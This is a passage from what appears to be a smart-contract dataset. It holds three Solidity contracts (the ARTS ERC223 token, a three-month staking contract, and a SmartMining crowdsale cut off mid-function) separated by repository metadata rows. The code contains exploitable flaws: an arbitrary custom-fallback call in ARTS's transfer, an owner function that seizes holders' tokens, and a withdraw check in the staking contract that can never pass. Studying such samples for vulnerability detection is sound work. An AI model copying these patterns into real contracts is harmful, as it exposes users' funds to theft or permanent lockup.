pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract ARTS is ERC223, Ownable {
using SafeMath for uint256;
string public name = "ARTS";
string public symbol = "ARTS";
uint8 public decimals = 8;
uint256 public initialSupply = 30e9 * 1e8;
uint256 public totalSupply;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function ARTS() public {
totalSupply = initialSupply;
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
FrozenFunds(targets[j], isFrozen);
}
}
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
LockedFunds(targets[j], unixTimes[j]);
}
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = amount.mul(1e8);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[owner] >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if(msg.value > 0) owner.transfer(msg.value);
balanceOf[owner] = balanceOf[owner].sub(distributeAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
function() payable public {
autoDistribute();
}
}
| 147,954 | 108 |
e0df8de35b75102f7f5acab0dc5bb64d9f4acddbfe3cf4251b91deae25fdddb9
| 32,088 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/9f/9fc3a91Ae35cdAc9296dFAae488ed3D5140A6dD8_Staking3Months.sol
| 4,233 | 16,881 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
contract Staking3Months is Ownable, Pausable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
mapping(address => uint256) private _stakes;
struct Deposit{
uint256 depositedAt;
uint256 depositedQty;
bool isWithdrawn;
}
string public name;
uint256 public immutable stakingStarts;
uint256 public immutable stakingEnds;
uint256 public stakingCap; // = 1000000 ether;
uint256 public depositTime; //= 180 days;
uint256 public rewardPerc; // = 150; //15 %
uint256 public stakedTotal;
address public rewardAddress;
bool private depositEnabled = true;
IERC20 immutable token;
mapping(address => Deposit[]) public deposits;
mapping(address => uint256) public deposited;
event Staked(address indexed token,
address indexed staker_,
uint256 requestedAmount_
//uint256 stakedAmount_);
event PaidOut(address indexed token,
address indexed staker_,
uint256 amount_,
uint256 reward_);
event EmergencyWithdrawDone(address indexed sender,
address indexed token,
uint256 amount_);
event DepositToggled(bool value);
event StakingCapSet(uint256 value);
event DepositTimeSet(uint256 value);
event RewardPercSet(uint256 value);
event RewardAddressChanged(address indexed sender,
address indexed rewardAddress);
modifier _after(uint256 eventTime) {
require(block.timestamp >= eventTime,
"Error: bad timing for the request");
_;
}
modifier _before(uint256 eventTime) {
require(block.timestamp < eventTime,
"Error: bad timing for the request");
_;
}
constructor(string memory name_, address _token, uint256 _stakingStarts, uint256 _stakingEnds, address _rewardAddress,
uint256 _rewardPerc, uint256 _depositTime, uint256 _stakingCap) {
require(_rewardAddress != address(0), "_rewardAddress should not be 0");
name = name_;
token = IERC20(_token);
stakingStarts = _stakingStarts;
stakingEnds = _stakingEnds;
rewardAddress = _rewardAddress;
rewardPerc = _rewardPerc;
depositTime = _depositTime;
stakingCap = _stakingCap;
}
function stakeOf(address account) external view returns (uint256) {
return _stakes[account];
}
function timeStaked(address account) external view returns (uint256) {
return deposited[account];
}
function canWithdraw(address _addy) external view returns (bool) {
if (block.timestamp >= deposited[_addy]+(depositTime)) {
return true;
} else {
return false;
}
}
function withdraw(uint256 id) external{
require(deposits[msg.sender].length > id, "Deposit does not exist"); //make sure that such a deposit exists
require(deposits[msg.sender][id].depositedQty > 0,
"There is nothing to deposit");
require(deposits[msg.sender][id].depositedAt >= deposits[msg.sender][id].depositedAt+(depositTime),
"Staking period not passed yet");
require(deposits[msg.sender][id].isWithdrawn == false);
_withdrawAfterClose(msg.sender, deposits[msg.sender][id].depositedQty, deposits[msg.sender][id].depositedAt);
}
//efficiently compute compound
function _compound(uint principle, uint n) private pure returns (uint){
for(uint i=0; i<n; i++){
principle = principle.mul(1000382983).div(1000000000);
}
return principle;
}
function _withdrawAfterClose(address from, uint256 amount, uint256 depositedTime) private {
uint256 daysSinceDeposit = (block.timestamp.sub(depositedTime)).div(86400); //get the floored number of days since the deposit
//uint rewardRatio = 1000382983 / 1000000000; //15% APY compounded daily
uint256 reward = _compound(amount, daysSinceDeposit);
//_stakes[from] = _stakes[from] - (amount);
stakedTotal = stakedTotal.sub(amount);
emit PaidOut(address(token), from, amount, reward);
token.safeTransferFrom(rewardAddress, from, reward.sub(amount)); //transfer Reward
token.safeTransfer(from, amount); //transfer initial stake
}
function getAllowance(address staker) external view returns (uint256){
return token.allowance(staker, address(this));
}
function stake(uint256 amount) external whenNotPaused {
address staker = msg.sender;
require(depositEnabled, "Deposits not enabled");
stakedTotal = stakedTotal+(amount);
//_stakes[staker] = _stakes[staker]+(remaining);
deposits[staker].push(Deposit(block.timestamp,
amount,
false));
uint256 allowance = token.allowance(staker, address(this));
require(allowance >= amount, "Check the token allowance");
token.safeTransferFrom(staker, address(this), amount);
emit Staked(address(token), staker, amount);
}
function setRewardPerc(uint256 _rewardPerc) external onlyOwner{
rewardPerc = _rewardPerc;
emit RewardPercSet(_rewardPerc);
}
function setDepositTime(uint256 _depositTime) external onlyOwner{
depositTime = _depositTime;
emit DepositTimeSet(_depositTime);
}
function setStakingCap(uint256 _stakingCap) external onlyOwner{
stakingCap = _stakingCap;
emit StakingCapSet(_stakingCap);
}
function toggleDeposit() external onlyOwner {
depositEnabled = !depositEnabled;
emit DepositToggled(depositEnabled);
}
function changeRewardAddress(address _address) external onlyOwner {
require(_address != address(0), "Address should not be 0");
rewardAddress = _address;
emit RewardAddressChanged(msg.sender,_address);
}
}
| 116,830 | 109 |
0500111b3a2bcbbd7ffe0842f89f27cba71983e6c6304270444e62cda429dbe1
| 16,156 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x89abe09fd87559ea272df627e38156705304bd80.sol
| 3,462 | 14,930 |
pragma solidity ^0.4.25;
library SafeMath {
// Multiplies two numbers, throws on overflow./
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) return 0;
c = a * b;
assert(c / a == b);
return c;
}
// Integer division of two numbers, truncating the quotient.
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
// Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
// Adds two numbers, throws on overflow.
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract SmartMining {
using SafeMath for uint256;
// -------------------------------------------------------------------------
// Variables
// -------------------------------------------------------------------------
string constant public name = "smart-mining.io"; // EIP-20
string constant public symbol = "SMT"; // EIP-20
uint8 constant public decimals = 18; // EIP-20
uint256 public totalSupply = 10000; // EIP-20
struct Member { // 'Member'-struct
bool crowdsalePrivateSale; // If 'true', member can participate in crowdsale before crowdsaleOpen == true
uint256 crowdsaleMinPurchase; // Approved minimum crowdsale purchase in Wei
uint256 balance; // Token balance in Ici, represents the percent of mining profits
uint256 unpaid;
}
mapping (address => Member) public members; // All Crowdsale members as 'Member'-struct
uint16 public memberCount; // Count of all SmartMining members inclusive the team-contract
address[] public memberIndex; // Lookuptable of all member addresses to iterate on deposit over and assign unpaid Ether to members
address public owner; // Owner of this contract
address public withdrawer; // Allowed executor of automatic processed member whitdrawals (SmartMining-API)
address public depositor; // Allowed depositor of mining profits
bool public crowdsaleOpen; // 'true' if crowdsale is open for investors
bool public crowdsaleFinished; // 'true' after crowdsaleCap was reached
address public crowdsaleWallet; // Address where crowdsale funds are collected
uint256 public crowdsaleCap; // Wei after crowdsale is finished
uint256 public crowdsaleRaised; // Amount of wei raised in crowdsale
// -------------------------------------------------------------------------
// Constructor
// -------------------------------------------------------------------------
constructor (uint256 _crowdsaleCapEth, address _crowdsaleWallet, address _teamContract, uint256 _teamShare, address _owner) public {
require(_crowdsaleCapEth != 0 && _crowdsaleWallet != 0x0 && _teamContract != 0x0 && _teamShare != 0 && _owner != 0x0);
// Initialize contract owner and trigger 'SetOwner'-event
owner = _owner;
emit SetOwner(owner);
// Update totalSupply with the decimal amount
totalSupply = totalSupply.mul(10 ** uint256(decimals));
// Convert '_crowdsaleCapEth' from Ether to Wei
crowdsaleCap = _crowdsaleCapEth.mul(10 ** 18);
// Initialize withdrawer and crowdsaleWallet
withdrawer = msg.sender;
crowdsaleWallet = _crowdsaleWallet;
// Assign totalSupply to contract address and trigger 'from 0x0'-'Transfer'-event for token creation
members[address(this)].balance = totalSupply;
emit Transfer(0x0, address(this), totalSupply);
// Initialize team-contract
members[_teamContract].unpaid = 1;
memberIndex.push(_teamContract); // memberIndex[0] will become team-contract address
memberCount++;
// Transfer team tokens
uint256 teamTokens = totalSupply.mul(_teamShare).div(100);
members[address(this)].balance = members[address(this)].balance.sub(teamTokens);
members[_teamContract].balance = teamTokens;
emit Transfer(address(this), _teamContract, teamTokens);
}
// -------------------------------------------------------------------------
// Events
// -------------------------------------------------------------------------
event SetOwner(address indexed owner);
event SetDepositor(address indexed depositor);
event SetWithdrawer(address indexed withdrawer);
event SetTeamContract(address indexed teamContract);
event Approve(address indexed member, uint256 crowdsaleMinPurchase, bool privateSale);
event Participate(address indexed member, uint256 value, uint256 tokens);
event Transfer(address indexed from, address indexed to, uint256 value);
event ForwardCrowdsaleFunds(address indexed to, uint256 value);
event CrowdsaleStarted(bool value);
event CrowdsaleFinished(bool value);
event Withdraw(address indexed member, uint256 value);
event Deposit(address indexed from, uint256 value);
// -------------------------------------------------------------------------
// WITHDRAWER (SmartMining-API) & OWNER ONLY external maintenance interface
// -------------------------------------------------------------------------
function approve (address _beneficiary, uint256 _ethMinPurchase, bool _privateSale) external {
require(msg.sender == owner || msg.sender == withdrawer, "Only SmartMining-API and contract owner allowed to approve.");
require(crowdsaleFinished == false, "No new approvals after crowdsale finished.");
require(_beneficiary != 0x0);
if(members[_beneficiary].unpaid == 1) {
members[_beneficiary].crowdsaleMinPurchase = _ethMinPurchase.mul(10 ** 18);
members[_beneficiary].crowdsalePrivateSale = _privateSale;
} else {
members[_beneficiary].unpaid = 1;
members[_beneficiary].crowdsaleMinPurchase = _ethMinPurchase.mul(10 ** 18);
members[_beneficiary].crowdsalePrivateSale = _privateSale;
memberIndex.push(_beneficiary);
memberCount++;
}
emit Approve(_beneficiary, members[_beneficiary].crowdsaleMinPurchase, _privateSale);
}
// -------------------------------------------------------------------------
// OWNER ONLY external maintenance interface
// -------------------------------------------------------------------------
modifier onlyOwner () {
require(msg.sender == owner);
_;
}
function setTeamContract (address _newTeamContract) external onlyOwner {
require(_newTeamContract != 0x0 && _newTeamContract != memberIndex[0]);
// Move team-contract member to new addresss
members[_newTeamContract] = members[memberIndex[0]];
delete members[memberIndex[0]];
// Trigger 'SetTeamContract' & 'Transfer'-event for token movement
emit SetTeamContract(_newTeamContract);
emit Transfer(memberIndex[0], _newTeamContract, members[_newTeamContract].balance);
// Update memberIndex[0] to new team-contract address
memberIndex[0] = _newTeamContract;
}
function setOwner (address _newOwner) external onlyOwner {
if(_newOwner != 0x0) { owner = _newOwner; } else { owner = msg.sender; }
emit SetOwner(owner);
}
function setDepositor (address _newDepositor) external onlyOwner {
depositor = _newDepositor;
emit SetDepositor(_newDepositor);
}
function setWithdrawer (address _newWithdrawer) external onlyOwner {
withdrawer = _newWithdrawer;
emit SetWithdrawer(_newWithdrawer);
}
function startCrowdsale () external onlyOwner {
require(crowdsaleFinished == false, "Crowdsale can only be started once.");
crowdsaleOpen = true;
emit CrowdsaleStarted(true);
}
function cleanupMember (uint256 _memberIndex) external onlyOwner {
require(members[memberIndex[_memberIndex]].unpaid == 1, "Not a member.");
require(members[memberIndex[_memberIndex]].balance == 0, "Only members without participation can be deleted.");
// Delete whitelisted member which not participated in crowdsale
delete members[memberIndex[_memberIndex]];
memberIndex[_memberIndex] = memberIndex[memberIndex.length-1];
memberIndex.length--;
memberCount--;
}
// -------------------------------------------------------------------------
// Public external interface
// -------------------------------------------------------------------------
function () external payable {
require(crowdsaleOpen || members[msg.sender].crowdsalePrivateSale || crowdsaleFinished, "smart-mining.io crowdsale not started yet.");
if(crowdsaleFinished)
deposit();
if(crowdsaleOpen || members[msg.sender].crowdsalePrivateSale)
participate();
}
function deposit () public payable {
// Pre validate deposit
require(crowdsaleFinished, "Deposits only possible after crowdsale finished.");
require(msg.sender == depositor, "Only 'depositor' allowed to deposit.");
require(msg.value >= 10**9, "Minimum deposit 1 gwei.");
for (uint i=0; i<memberIndex.length; i++) {
members[memberIndex[i]].unpaid =
// Adding current deposit to members unpaid Wei amount
members[memberIndex[i]].unpaid.add(members[memberIndex[i]].balance.mul(msg.value).div(totalSupply));
}
// Trigger 'Deposit'-event
emit Deposit(msg.sender, msg.value);
}
function participate () public payable {
// Pre validate purchase
require(members[msg.sender].unpaid == 1, "Only whitelisted members are allowed to participate!");
require(crowdsaleOpen || members[msg.sender].crowdsalePrivateSale, "Crowdsale is not open.");
require(msg.value != 0, "No Ether attached to this buy order.");
require(members[msg.sender].crowdsaleMinPurchase == 0 || msg.value >= members[msg.sender].crowdsaleMinPurchase,
"Send at least your whitelisted crowdsaleMinPurchase Ether amount!");
// Get token count and validate that enaugh tokens are available
uint256 tokens = crowdsaleCalcTokenAmount(msg.value);
require(members[address(this)].balance >= tokens, "There are not enaugh Tokens left for this order.");
emit Participate(msg.sender, msg.value, tokens);
// Remove members crowdsaleMinPurchase for further orders
members[msg.sender].crowdsaleMinPurchase = 0;
// Subtract tokens from contract and add tokens to members current holdings (Transfer)
members[address(this)].balance = members[address(this)].balance.sub(tokens);
